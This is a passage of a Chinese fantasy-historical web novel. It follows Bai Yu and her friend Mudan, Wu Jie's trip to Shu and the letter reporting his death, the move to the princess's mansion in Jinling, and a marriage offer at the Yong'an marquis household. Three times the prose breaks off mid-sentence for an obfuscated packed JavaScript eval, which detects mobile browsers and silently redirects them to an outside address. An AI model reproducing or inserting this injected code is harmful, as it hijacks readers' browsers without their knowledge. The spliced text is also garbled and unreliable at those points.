吴界一听牡丹帮白羽对付和媒婆了,警惕之心一下子就松了,重新笑开和牡丹道歉:“姑娘见谅,这实在是家里有特殊情况,不得不多问几句,还要多谢你替念儿解围。” 牡丹盯着吴界看,可他脸上都是胡子,实在看不出什么,她小声问白羽:“这不会就是紫翎仙君吧?他这世是你爹?” 白羽坚定点头。 牡丹没招了,勉强拉起笑容,推辞道:“不必客气,我应该做的。” 吴界在院中水池旁快速洗了个手,对白羽和牡丹说:“姑娘你去屋里坐,念儿好不容易带个朋友回来做客,我去给你们弄些好酒好菜,很快就好。”他说完脚下一刻不停,转身就进了灶房开始忙活。 白羽拉着牡丹坐回屋里,她还惊魂未定。 半晌,牡丹惊悚地握住白羽的手,指着外面说:“他……他怎么这样了?” “习惯就好。”白羽很镇定,她还安抚牡丹:“何种环境就能塑造何种性格的人,加之他又没有记忆,变成这样也是可以理解的。” 牡丹:…… 吴界这些年手艺越发精进,半个时辰搞出了极其丰盛的六菜一汤,还拿出了自己舍不得喝的天山酿,牡丹又爱酒,一时酒逢知己,两人都醉得不清。 自然而然的,牡丹晚上睡在了白羽屋里。 接下来的几天,牡丹租了白羽隔壁一所空置已久的小院,两家人毗邻而居,也算是实现了上一世始终未能成行的约定。 白羽除了每日去武馆练武,其他时候都和牡丹待在一起玩耍,她们会聊到只有她们俩人知道的趣事,白羽也跟她讲了自己这一世的身世和见闻,牡丹喜好鲜衣美食,一有空就带着白羽到处探索尝试。 时间一长,吴界自觉受到了冷落,他虽然一直忧心白羽没有同龄的朋友,但她如今跟那个容貌出众、举止怪异的牡丹姑娘越走越近,那姑娘每次见他看他的眼神都让他觉得怪怪的,也曾劝过白羽少和牡丹来往,可是白羽根本不听他的。 牡丹自然对吴界也有看法,总觉得他罗里吧嗦的,管白羽管得太宽,两边都看对方不顺眼。 又一年腊月二十一日,临近年底,天气逐渐变凉,乌蒙山水好,树叶仍旧葱绿,迁徙的候鸟路过时发出一连串高吭的鸣叫声。 今年是白羽的第十一个生辰,一大早起来,她如往年惯例,先给沈言晴和唐琢的牌位各上了一炷香。 到了午饭时候,吴界张罗了一大桌子菜,离开好几天的牡丹也及时赶回来了,白羽在他们的祝福中吃了吴界做的长寿面。 饭后,吴界拿出一把玄铁所铸的长剑送给白羽作生辰礼,今年是白羽学剑的第六年,吴界觉得她也算是稳扎稳打,于是亲自请人铸了这把长剑送给她。 白羽很高兴地收下了。 牡丹神秘兮兮地从大袖中取出一把手掌大小的精铁小扇,扇刃极薄,每条扇骨上镂空刻印着神秘繁复的咒语符文,扇面是薄如蝉翼的东海鲛绡所制,正反面皆画了一只引颈高歌的九天玄鹤。 牡丹小声告诉白羽,这是她特意找藏山仙翁打造的武器,上面那些符文是大乘期佛修诵祷过的经文,也有至尊强者的仙力加持,被此扇击中的人非死即伤,同时也是攻防一体,是一件很适合她的灵器。 吴界就算不识货也能看出来牡丹送的这柄扇子很适合白羽,比长剑体积小,适合出其不意,因此礼物被比下去了,心意没被比下去就行。 白羽知道他们都送她武器是希望她能有自保之力,被人伤害能有还手之力,身处险境能有自救之力。 她感动于这份用心,也都很妥帖地收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780786|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着这一剑一扇。 白羽生辰过完后,紧接着就是新年,也是头一次,三个人在一起过完了这个春节。 第二年春日,一天,牡丹神秘兮兮地把白羽拉到身边说话,她突然怀疑上一世把叛军引进京城的人是贺六? 白羽:??? “为什么这么说?” 牡丹:“你还记得我给你说过你当时奉召入宫的时候,贺六看着你远去的马车神色怪异吗?你当时猜出来他是因为入京后帮不上你而低落,可是后来他突然就好了,你说他是想通了,但是没过多久叛军就开始攻城了,这一切太巧了。” “这没什么理由,会不会是你想太多了?”白羽神情迷惘,她替贺六解释道:“你可能不知道,贺六跟我说过,他是因为叛军作乱才无家可归,后来贺老大把他抚养长大的。他深受叛军之害,不可能因为一点点个人情绪就把自己受过的诸多痛苦加诸在别人身上,他不是这样的人。” 牡丹手撑着下颌,一脸认真的分析,“你说的也有道理,反正我就是觉得京城那场叛乱,乱得挺莫名其妙的,肯定有人是内应,就算不是主因,也是其中推手。” 白羽趴在桌面上,闭上眼睛回想,一件件小事的细枝末节从她脑海中缓缓划过。 “潘大夫的父亲是京城御医,过世后她扶棺回乡安葬,半途遇上叛军,被贺老大所救……” “殿下知道当年给华阳公主诊治的太医姓名吗?” 她好像知道那个人是谁了,白羽猛然间爬起来,把安静入定的牡丹吓了一跳。 牡丹惊魂未定地抚着胸口,听白羽说:“我知道了,是潘大夫。” “潘大夫?”牡丹疑惑出声:“是杂耍班那个沉默寡言的女药师?” 白羽点头,“是她。贺六曾经跟我说过,潘大夫的父亲是供职京城的御医,去世后她扶棺回乡,半路上遇上了叛军,为杂耍班贺老大所救,之后就一路跟着他们。我们决定跟慕五去长安的时候,第二天贺六说他们也要去长安,可是据我所知贺老大原本的行程不是非去长安不可。现在看来,除了应贺六的请求,潘大夫应该也使了力。之后就是长安发生叛乱,潘大夫和我们一起住在郊外庄子上时,她总是忧心忡忡、神思不属,却不说为什么。你走后,我跟贺六去找太子,从太子口中得知他的妹妹华阳公主去世其中有娄昭仪的手笔,而公主死后,照顾华阳公主病体的太医被赐死,联系公主逝世时间,潘大夫扶棺回乡的时间,两者是吻合的。” “竟然有这回事?”牡丹惊讶,“你抽丝剥茧的能力如此强悍。” 白羽摇头,“我能猜出来也是因为太子说完,贺六问了一句当年给华阳公主诊治后来被赐死的太医姓甚名谁。太子没明确说,但我猜贺六最后也猜到了,他跟潘大夫走得近,比我知道的线索更多。”所以最后他义无反顾地陪她赴死,其中并非没有愧疚赎罪的心理。 牡丹:“那她是为了什么?复仇吗?” “应该是的。”白羽也在心中一叹,她和潘大夫最熟悉的那段时间就是她腿骨折了,潘大夫给她看病开药,她是个很平和善良的人。 “也是,她父亲是御医,尽心尽力救治公主,却死在了后宫争斗之中,皇帝不想着查明真相却将御医赐死了事,换谁都会恨得齿痒,抓住机会就想置对方于死地,皇帝、娄昭仪、皇后最后确实都死了,可是在战乱中死去的百姓何其无辜,她没想过吗?”牡丹越说越激愤。 白羽喝止,反问她:“你觉得以那个皇帝制衡太子和吴王的手段,他能稳定朝纲多久保证不发生叛乱?不是我替潘大夫开脱,就算没有她,这场叛乱迟早也会来,没有她也有别人。各地叛军势大,朝中党派林立,皇帝制衡太子扶持吴王,有人起事再正常不过。” 都是乱世中的苦命人,如果天下安定,起码平民百姓会少吃很多苦。 白羽从牡丹家中回来,吴界在屋里擦剑,看她进来,神秘兮兮地把她叫到身边,说有话跟她说。 怎么今天都有秘密跟她分享? 白羽依言坐下,就看吴界把擦剑绸布叠起来放好,看剑看地看窗外就是不看她,清清嗓子跟她说:“那什么,念儿啊,爹想劝你以后少和隔壁那个牡丹来往。” “为什么?” 白羽觉得奇怪,吴界以往从来不会限制她结交什么朋友,与谁过从甚密,怎么到牡丹这里就是这幅态度,因为反常,白羽想探究。 吴界肃着脸,再加上那一脸大胡子,就更加有威慑力,“她出现的时机太巧,又经常黏着你,我是担心她目的不纯、别有所图。” “那你觉得她想图谋什么?”白羽继续引导。 吴界支支吾吾半天,最后豁出去一般脱口而出:“她一个云英未嫁的姑娘,半道上救了你,跟着你回家,之后还非要将房子租在我们旁边,每天三五不时关心你的饮食起居,送你时兴的衣裳首饰,你生辰她花那么多心思给你寻那把小扇做生辰礼,她意有所指,很明显了吧?” “确实挺用心的。所以,你的结论是……?” “她,她对我有意!”吴界几乎是恼羞成怒地吼出这句。 白羽惊愕,她有点不敢相信自己的耳朵,她掏掏耳朵,艰难地问贺六:“你……你为什么会这么觉得,理由是什么?” “她年华正好却总是往一个鳏居多年的男人家里跑,又对他的幼女事事上心,这明显就是看上这女儿的爹了,想借此讨好这女孩,收买人心方便她加入这个家。还有一点是,我总觉得这个牡丹姑娘看我的眼神怪怪的,有种说不上来的复杂感。”吴界抽空瞅了眼白羽,况且她是有前科的,她会给自己找后娘。 白羽忍不得了,牡丹看他眼神复杂是因为在今天之前都在怀疑他是个演技精湛的双面人,一边勾结叛军做内应,一边在她们面前表现无知和惊慌失措。 不是,不是对他有意思啊! 可惜他没有贺六的记忆。 “你还挺老来俏的。”白羽很直接,“你为什么不看看自己多大年纪,现在的样貌能不能入人家的眼,你为什么会觉得牡丹能看上你啊!我的爹,你四十多了,还带着一个拖油瓶女儿,人家桃李年华的绝色女子怎么想不开要去配一个不惑之年的络腮胡鳏夫。我重申一遍,她只是单纯地与我私交甚好而已。” 白羽后来把这话学给牡丹听,牡丹发誓她再看吴界一眼就把眼珠子扣了。 两人之后相交都是白羽过来找牡丹,牡丹也尽量避免跟吴界碰面,实在碰上了就送他一个白眼。 吴界知道是自己误会了,事后也找过牡丹郑重其事地道过歉,这一茬算是揭过去了。 35. 离开 “念儿,爹有事要出一趟远门。”吴界一边系上铁甲护腕,一边对白羽叮嘱:“是蜀中那边的事,最多半个月就回来了,我在柜子里留了许多碎银子和小额银票,你要是饿了就自己拿钱买饭吃,衣服脏了送去林大娘家请她帮忙洗,我回来跟她结工钱。放心,爹很快就回来。” 吴界摸了摸白羽的后脑勺,整装待发。 白羽一把拽住吴界的袖子,一时间一万种猜想爬上心头,“是那个蒋绥之的的事情吗?他找你做什么?” “还不知道,他只说有急事与我面谈,请我速至蜀中。”吴界知道她的忧虑,安抚道:“放心吧,以我的武功,这天下没几个人能奈何我,爹一定平安回来。” 白羽并不放心,却也没有理由拦下他,只能看着他出了家门。 五月的乌蒙城已经入夏,晨起天明早,睁眼就有各种夏鸟趴在院中大树上“唧唧啾啾”叫个不停,午间时不时一声嘹远的鸟鸣引动山林间各种动静。 吴界走后两天,白羽这两天去武馆也不怎么勤快了,每日草草练两下就收了剑,然后用一整日时间泡在牡丹家里。 半下午时,白羽在牡丹床上午睡醒来。 牡丹看她呆坐着半天不吭声,推了她一把问道:“你在想什么呢?” “你说我现在追去蜀中还来得及吗?”白羽迷迷瞪瞪地问。 “你追去蜀中能做什么?”牡丹笑道,给她分析:“如今也就是皇室和西南王这一烂摊子事情没有暴露在明面上,我觉得你与其关注蒋绥之那边的动静,倒不如把目光放到金陵城中,那里才是重中之重。” 金陵城。 乾朝都城,皇帝所在的地方。 “金陵最近有什么消息吗?” 牡丹摇头,“不知。”她刚准备说些什么,就被院外传来的叩门声打断了。 两人穿戴整齐,重新梳妆后从内室里出来,牡丹说了声让人进来。 院门被推开,白羽就见来人是一名年约四十上□□型匀称的仆妇,只是保养得极好,不显年纪,身上穿戴也都很贵气,不像是乌蒙城中富贵人家能差使的家仆。 那妇人见了牡丹就盈盈下拜,口称:“见过郡主。” 白羽坐在牡丹身边,极其惊愕地偏头看了她一眼,那仆妇看她年幼,但又在牡丹身边坐着,一时不知道该怎么称呼她,便朝她简单的颔首低眉拜了一下。 牡丹冲白羽使眼色,意思是等会儿跟你解释,放下手中盛着白水的茶盏,叫那妇人起身回话,她问道:“何事找我?” “回郡主,奴今日一早收到殿下来信,信中说……”她说到这里眼神隐晦地瞥了眼旁听的白羽,忌讳着没有继续说下去。牡丹顺着她的眼神看过去,提醒道:“接着说,我母亲信中说了什么?” 那妇人才又低头回话:“长公主殿下信中言:京城有变,请郡主您速归。” “好,我知道了,什么时候动身我通知你,退下吧。”牡丹摆手让她退下。 院门重新关好,还不等白羽发问,牡丹自己和盘托出:“仙尊不是批了我的假嘛,我想在凡间行走总要有个合理身份的。城固长公主是当今皇上的胞妹,她年过三十才有了一个女儿,这位郡主十七岁生辰的时候去猎场跑马,不甚摔马撞到了要害处,我就顶替了她的身份,刚好借着散心出京找你。” 白羽听完牡丹的解释,无奈笑笑,捂着额头说:“司命又该头疼了。” 人之生死,皆有定数。本来应该在一场事故里死去的人却没有死,反而活生生地又出现在这个世上,她一人的命线变动,会影响周围百十人的命运,多几个这样“死而复生”的人,司命殿就乱套了。 “这我也没有办法。”牡丹一摊手,破罐子破摔道:“算我欠他一个人情,回去我就登门致歉。” 说起来牡丹这样做也是为她,白羽觉得自己不能得了便宜还卖乖,乖乖闭嘴了。 “你不是说你父母是金陵人士吗?虽然你的身世不能暴露,但你可以用如今这个身份跟我回京,你关心的那些谜团去了金陵肯定会有答案,我如今这个身份是皇帝唯一的亲外甥女,想打探什么消息也方便,你觉得如何?” 白羽犹疑,“可是吴界还没回来,他不知道我去哪的话会担心的。” 这不成问题,牡丹大手一挥,“你不知道他的去向,可以留书一封,等他回来自然就能看到。” 如吴界所说,她父亲唐琢官至太史令,她母亲是公侯之女,即使他们二人已离世多年,金陵城里必然还有生前的故旧亲友,她跟沈言晴长得很像,去了也许会被认出来,但不去难道就永远窝在这个小城里吗? 白羽下定决心后,写了一封信放在家里,牡丹通知了她的随从车队,两人坐车前往金陵。 从乌蒙至金陵,跨越大半国之疆土,行程足有数千里,她们从初夏出发,一路上紧赶慢赶,踏入金陵城门时,时节已至盛夏。 马车没有停留,直接赶至公主府内,牡丹带着白羽去拜见城固长公主。 从前院入第二道门,走过曲折回廊,途径一片假山池塘,一路上花木扶疏、金玉作饰,府中装点处处华丽贵气、生机勃勃,看得出来皇帝对自己唯一的胞妹很是疼宠大方。 后院正屋,城固长公主早已接到她们入府的消息,此刻人就坐在花厅里等候。 花厅用墨玉铺地,桌椅矮几皆是紫檀木所作,雕琢成福禄寿喜财等富贵图案,屋中帷幕是十金一寸的香云纱,博古架上的摆件随便拿出去一件都是价值连城的珍宝,可见公主府富贵。 城固长公主美丽雍容,她端坐在正厅大椅上,头上的金凤在日光照耀下展翅欲飞,看到牡丹进了门,发髻侧边流苏随之摇动,还不等牡丹行完礼就一把把她搂进了怀里。 语声哽咽地说:“我的儿,你终于回来了,让为娘的好等。”说完才看到一旁还在礼数中的白羽,连忙手帕沾了沾湿润的眼眶,疑惑出声:“这位姑娘是……?” 牡丹毕竟不是真的郡主,被公主一抱浑身僵硬,此刻终于寻到机会从她怀中脱离,介绍白羽:“这是我在乌蒙结识的好友,她名白羽,我与她不舍分离,于是便邀请她来京做客,母亲不会不欢迎吧?” “怎会!”城固长公主叫了白羽起身,看着她因年岁渐长过于出众的姣好容貌,眉心微皱,脸上是忆及昔日的怀念之情,“我只是觉得这姑娘面善,与一位已经仙逝的故人很像。” 她们两人陪着公主在花厅说了好一会儿话,公主对女儿的朋友很是亲和,让身边的侍女带白羽去郡主院中安排住所,单独留下牡丹有话要说。 白羽跟着这名侍女来到东边最大的一处院子前,侍女介绍这是郡主的住处,然后把她交给了这里的管事女官,又详细交代了长公主的安排,这才放心离去。 女官年约二十来岁,她早得了牡丹传话,此刻一见着白羽就笑着福身,“白姑娘是吧,郡主早安排下臣候着您了,您的厢房安排在郡主卧房隔壁,我带您去看,有什么不满意的立即就能调换。” 女官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780787|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姓欧,白羽连忙谦卑道:“欧女史不用太照顾我,我都可以的。” 接下来半日,欧女官带她看了住处,又给她介绍了郡主院中各处楼宇功能,还提点了她公主府的人事关系,后来这个女官顾念她们刚赶路回来,让白羽自己休息就退了出去。 日头渐渐西移,牡丹才终于被放回来,她一回来就来找白羽。 “这长公主说要设晚宴招待你,给我接风洗尘,晚上得和她一起吃饭。”牡丹一屁股坐在白羽床边,看着刚坐起来的她说。 白羽点头,伸手勾起床帐,吃饭就吃饭,不过她更关心另一件事:“她都跟你说什么了?” 牡丹叹了口气,疲惫不堪地往后一倒,双手撑着被褥说:“她说京城流言四起,就是皇帝不是皇室血脉的那个流言,刚开始只是私下里说说,如今市井之上都是这个传言,平头百姓都能说上两嘴。皇帝心中不安,召她进宫谈了两次话,她怕起什么兵乱,就先把我叫回来。” 果然纸包不住火,好几个“畅言先生”在各地发力,估计如今满天下都是这样的传闻了吧? 白羽有个疑问,“皇帝不是太后亲生,公主总该是了吧,这么说她和皇帝不是亲兄妹?” “应该是吧,公主比皇帝小两岁,是在宫里出生的,身份上应该没问题,不是亲兄妹也是表兄妹。”牡丹隔着被子躺在白羽腿上。 白羽认同,她看着牡丹说:“真到了真相大白天下那一日,按照血缘地位来讲公主是最适合登基的人选,你觉得她有这个野心吗?” “她有没有我不知道,反正我是没有。”牡丹翻身正面对着白羽,“我是来度假的,不是来争皇位的。” “我们刚来,还摸不清京中情况,确实没必要急着动作,你又是长公主唯一的骨肉,宗室那些人估计都盯着你们母女的作为,静观其变就好。”白羽又问:“长公主认识沈言晴吗?她会不会已经认出我了?” “这个我真不知道,毕竟过去那么多年了。她认出你了,估计也会为你保守秘密,别太担心。” 太阳渐渐落山,暮色席卷而上,公主府中石灯幢逐一点亮。 白羽和牡丹重新梳妆打扮后,前厅公主的侍女来请她们入席。 两人坐下没多久,公主和驸马联袂而来。 席中公主对白羽很是关照,驸马瞧着似乎也没什么特别的看法,白羽心中就有数了。 一顿饭吃得宾主尽欢,宾主间心照不宣。 随后几天,牡丹带着白羽参加了几次京中的赏花宴会,又去了许多给公主府下拜帖的达官贵人家的寿宴、婚宴、满月宴,彻底打通了上层人士关系。 六月底,白羽在和牡丹在湖心亭乘凉,一名在前院活动的侍女被人带着进来,说是有人给了她一封信,让她务必亲手交给白羽姑娘。 牡丹接过信递给白羽。 信封上写着“念儿亲启”四个字,白羽想着估计是吴界从蜀中回来看到她的留信,这才几经周折给她送来了这封信。 白羽迫不及待地拆开来看。 只见信中写: 随春风化名的吴界一入蜀就被西南王蒋绥之控制,随后被严刑拷打,他在突围的时候被蒋绥之下令乱箭射死,若要证明真伪,速来蜀中验证就是。 速速阅览过这短短几行字迹,白羽半天没有动作,她觉得自己一定是太笨了,无论如何也理解不了这几句话的意思,吴界怎么会死? 他的武功出神入化,一手剑法更是能借力打力,谁能杀死他啊? 36. 死讯 白羽不认识吴界的字迹,这十来年从没见过吴界动笔写什么东西,她不知道信封上的字是不是他亲笔。 但有一件事她知道。 白羽扔下信纸,豁然起身,用极其冷静的声音说:“我要去一趟蜀中,你帮我跟长公主道个别。”她转身就要出凉亭。 牡丹方才见白羽收到的是家书,她就没凑过去看,怎么一会儿没看住,人就要去蜀中了。她一把拉住白羽直挺挺的身子,一把抓起石桌上的信纸,内容很少,她一眼就看完了。 扔下信纸后,她强硬地掰过白羽把她摁在石凳上,说道:“你不能去蜀中,难道你看不出来这是个阴谋吗?送信的人明显知道你与吴界的关系,甚至知道你的身世,知道你住在公主府,这封信目的就是把你引去蜀地,谁知道哪里有什么等着你!你先冷静一点,你现在是关心则乱,你……况且吴界不一定真的死了。” 她前面说了那么多,白羽一句没听进去,就这句“吴界不一定真的死了”让白羽回过头来看着她。 “你听我的,”牡丹劝慰,“我让长公主秘密派人去蜀中打探消息,你就留在京城,背后之人看你没有按他的要求做,肯定还会再出招的,他只要出招了就会暴露,我们就能顺藤摸瓜抓住他。” 炎炎夏日里,一阵凉风吹过,荡涤走那些盘踞心中的杂念,白羽的头脑渐渐恢复知觉,她也觉得这是个阴谋,白羽决定听牡丹的,留在金陵抓住幕后之人,逼问吴界下落。 过了两天,永安侯府太夫人寿宴,给公主府下了拜帖,牡丹从城固长公主那里要来帖子后就来找白羽,两人都知道永安侯府和白羽是什么关系。 现任永安侯是沈念的舅舅,老侯爷退位,而过寿辰的太夫人则是沈念的外祖母。 白羽拿着那封缎面烫金字的喜庆拜帖,心里没什么感觉,是吴界说沈言晴出自永安侯府,可是这么多年,这一大家子人对沈念这个孤女不闻不问,她跟他们没有情分可言。 “你看这个。”牡丹从拜帖里面又抽出一封同等规格,但小一些、薄一些的红帖,“长公主说来送拜帖的人是一起给的,她收了才知道是两封,给长公主的是邀请公主府所有人,但还单独写了一封邀请你。” “什么意思?”白羽有些想笑。 牡丹将拜帖放在桌上,站起来一边走动一边分析:“你最近在金陵城各处活动,见过你的人多了总有那么一两个能认出你的人,这一来二去的,永安侯府不可能得不到消息,我估计他们是想借这次寿宴跟你相认。” 白羽果真笑了一下,她摆手说:“没那么好心,若要相认前面十一二年哪天不能?非得等到我自己出现在他们面前才能相认,依我看是有别的人想见我,他们顺水推舟。”她做了一个往前推掌的动作。 牡丹感兴趣了,连忙坐回白羽身边,问她:“竟然这么快就找上门了,你打算怎么做?” “即使当年我母亲生产他们都没出面,若真想保下出嫁的女儿不是没有办法,可他们没有做,既然永安侯府一直置身事外,那就当做陌生人好了。”白羽话音一转:“至于明天要见我的人,想必身份会不一般,若我有什么危险,还需要你及时搭救一把。” “没问题,交给我你就放心吧!” 第二日,永安侯府太夫人寿宴,白羽和公主府一行人到的时候宾客已经来了许多。侯府门庭装点彩绸,铺设长毯,一名相貌端正清雅的年轻公子并府上管家在门口迎客,处事大方、谈吐亲和,谁见了都要夸一句贵府人才辈出。 牡丹告诉她那是永安侯的大公子沈知文,尚未及冠未下场,却才名远播,是白羽嫡亲的表哥,按照现在的规矩,是能通婚的关系。 他们一行人正常入府,沈知文迎上来的时候没有丝毫异样,热情恭敬地将长公主一家送进府中,白羽敏锐地感觉到他们转身离开的时候,沈知文的眼神在她身上多停留了几息。 驸马将长公主送到女客这边,他自己去了男席。 长公主甫一露面,就有两个上了年纪的贵妇人立刻笑脸迎了上来,其间热情问候了长公主和郡主,也没落下白羽这个没有任何爵位身份的小姑娘。 牡丹告诉她这两位一个是侯夫人,也就是沈知文的母亲,另一个是二房的媳妇,也就是说这两个人都是白羽的舅母。 金陵城中各家有爵位有官职傍身的京中贵夫人贵女或坐或卧,在临湖的水榭中,聊天说笑,长公主一进来,大家先起身行礼,然后再恭恭敬敬地坐下,话题开始围绕着长公主转。 一说长公主新养的那只爱宠如何聪敏如何娇贵,求长公主改日办个宴会让大家都长个见识;一说驸马给长公主送了如何费心寻摸的东海珊瑚手串作为贺寿礼,称赞公主和驸马伉俪情深;一说郡主如何才貌出众、性情又如何直爽率真,羡慕长公主有个好女儿的。 说来说去,就没没有人把话题引到白羽身上。 直到有个人问:“这位姑娘是谁家千金,竟也出落得如此标致?” 在场一静,牡丹想说些什么转移话题时,众人都被侯夫人扶着入场的太夫人吸引走了注意力。 老寿星穿一身宝相花纹软绸长褙子,下身是一件秋香色直坠涧裙,高高的发髻上点缀白玉梳和几支金簪,一条织金苏绣水玉抹额自额头穿过,看着年纪大了,但精神矍铄,笑起来眼中神采依旧。 她上来先给长公主见礼,长公主碍于年纪拦下了,一行人聊起了京中花卉、时兴的衣料、谁家的儿女亲事,仿佛已经忘了刚才问到白羽的话题。 白羽一直冷眼看着太夫人和侯夫人跟其他人热络,她和牡丹坐在长公主身后吃茶小声交谈,直到一个侍女没注意,将一碗茶汤倾在了白羽的裙身上,她才心道终于来了。 牡丹开口斥骂,忙用手帕给白羽擦拭。 侯夫人惊慌过后安排人带白羽下去更衣,牡丹要跟着,长公主出口拦下了。 白羽跟着那名婆子走到后院专门留给女眷的休憩之处,侍女给她拿来一件样式和她身上衣服很像的衣裙,伺候她换上。 整理完毕,那侍女轻声说:“姑娘请跟我来。” 她走后门出去,白羽迟疑片刻后选择跟上,想必不是回水榭的路,那就是有人要见她了。 是侯府的人? 还是背后的人? 大约穿过两三条回廊,侍女在一处正屋院门前停下脚步,回头对她说:“姑娘请进,我们太夫人在此等候多时。” 原来是老寿星要见她。 白羽对侍女点点头,推开屋门走进去。 屋内,太夫人在一幢屏风后坐着,侯夫人见她进来,从屏风后步出,轻声唤她进来。 白羽面无表情走进去,依言在太夫人对面坐下来,侯夫人也陪坐左右。 太夫人一看见白羽就开始抹眼泪,和侯夫人喃喃念道:“像啊!真是像极了我那早亡的女儿。” 侯夫人看她哭得几欲厥过去,连忙让白羽劝说一二。 白羽拧着眉头,故作不解,“夫人这是什么意思?我并不认识这位老夫人,若无事我要回去了,长公主还在等我。” 侯夫人一看她起身要走,这边是哭泣不止的老夫人,那边是油盐不进的白羽,她急道:“姑娘留步,你母亲是否姓沈名言晴?” “是如何,不是又如何?” “你母亲是老夫人的亲生女儿,你是老夫人的亲外孙,我是你舅母。” 白羽回头,冷冷淡淡道:“我爹从来没说过我还有什么外祖家,更别说什么外祖母、什么舅母了。你听好了,我叫白羽。” “你爹?”太夫人止住哭嚎,闻言惊讶地问白羽:“孩子,你爹是谁?” “一个无亲无故的好心人罢了。”白羽牵起嘴角哂笑一声,对两人说:“沈家门庭高贵,我高攀不起,外祖母之说还望你们不要再提。” “等等!难道你就不想知道你最关心的那个人是死是活吗?” 白羽回身,眼睛紧盯着侯夫人,看着她问出这句话后下意识懊恼的神情,逼问道:“说!谁指使你的?或者说你背后之人是谁?” 气氛一时间紧张到极致,屋里一丝风声都没有,凭白响起的珠帘碰撞声显得十分突兀。 太夫人分开遮挡的珠帘,一阵碎玉乱溅声后她拉住白羽的胳膊将她重新带回珠帘后,让她安坐下来,这才娓娓道来:“你母亲是我唯一的女儿,她自小与谢家长子订婚,谁知那谢家惨遭灭门之痛,一夜之间销声匿迹。等她成年后,她父亲做主让她与唐家的三公子唐琢结亲,二人婚后迟迟未孕,婚后七八年才有了你。我那女婿官至太史令,奉命修国史,却不知为什么触怒了帝王,皇上下令判他腰斩,阖府上下满门抄斩,我求侯爷救救我那苦命的女儿和未出世的外孙,可是侯爷不许我过问,说这是杀头的罪过,后来我大病一场,再醒来就不知你的下落了。” “孩子,你这些年都在哪里生活,是谁在照顾你?”太夫人一边倾诉一边抹眼泪。 “这些与你无关。想要我做什么直说便是。” 白羽没有办法被她的故事打动,沈家这一家子都是冷血无情之辈,冷漠的父亲、无动于衷的哥哥、悄无声息病倒后不闻不问的母亲,就好像沈言晴的死是一个无关紧要的人死去一样。 侯夫人出面说:“姑娘,既然你都猜出来了我也不妨告诉你,是有个人找上我们家逼问你和那个人的下落,老夫人一听你还活着,说什么都要保下你。如今这情况你不可能认祖归宗,以真实身份回来,所以我们最后商量的是让你改名换姓嫁给文哥儿,以孙媳妇的身份回到永安侯府。文哥儿是我的大儿子沈知文,刚才在门口你也看见了。” 怪不得她感觉到刚才在大门口,那个沈知文看她的眼神奇怪,原来老寿星想让他娶了她啊。 表妹嫁表哥,还真是一段佳话。 但是凭什么呢! 十几年不闻不问,一出现就妄图安排她的人生,这还是做亲人的,做仇人的也没有这样报复人的做法。 白羽抬头看着面前这对“施舍好心”的婆媳,掷地有声道:“我不愿,我与沈家无关,我名白羽。” 侯夫人冷哼一声,她不愿最好,她愿意她还不愿意呢! 凭什么把她的儿子拿出去消灾补祸呢? 太夫人焦急,还想再说什么,白羽直接站起来打断她:“出来时候不早了,长公主和郡主还在等我,我就当今日没有见过两位,告辞。” 白羽说完扭头就走,任凭一副五彩珠帘在她身后如何“乱雨入湖”,自岿然不动,脚下步伐越发坚定。 待出了这座院子后,方才带她来的那名侍女还未走,她站在一丛花枝下等候,白羽让她带她去找长公主。 那侍女依言走在前面带她出去。 永安侯府没有长公主府奢华大气,但也是富贵人家的住所,花木深深、曲折回廊、活水绕墙,一路上遇到的仆从都垂手行礼,没有半丝错了规矩。 什么都好,但就像一个腐朽的机器,让生活在里面想要获得自由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780788|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的灵魂挣扎不休。 走了好长一段路,白羽终于看到了远处湖中心的水榭,也看到了等在入口的牡丹,白羽跑两步走到她面前,牡丹拉着她回到长公主身后坐下,想要问什么,但却碍于人多住了嘴。 没过多久,宴席要开了。 方才还泪流不止的老夫人和高傲自大的侯夫人装扮一新出现在众人面前。 大家一起去了用宴的大厅,牡丹如愿和白羽坐在一块,周围人离得也比较远,她才放心说话:“你刚才去哪了?怎么这么久才回来?她们没对你做什么吧?” 白羽先是笑,喜气洋洋地告诉牡丹:“好事啊,她们想给我说亲呢!”她一努嘴,示意牡丹看男客那边,“喏,就是那个才名远播的沈知文。” “你疯了,你答应了!”观白羽这态度,吓得牡丹直掐她手臂。 白羽甩开牡丹的手,正色道:“我答应了我才疯了。你先说说我走后发生了什么?” 没答应就好,牡丹松了一口气,开始跟白羽说她走后发生的事情。 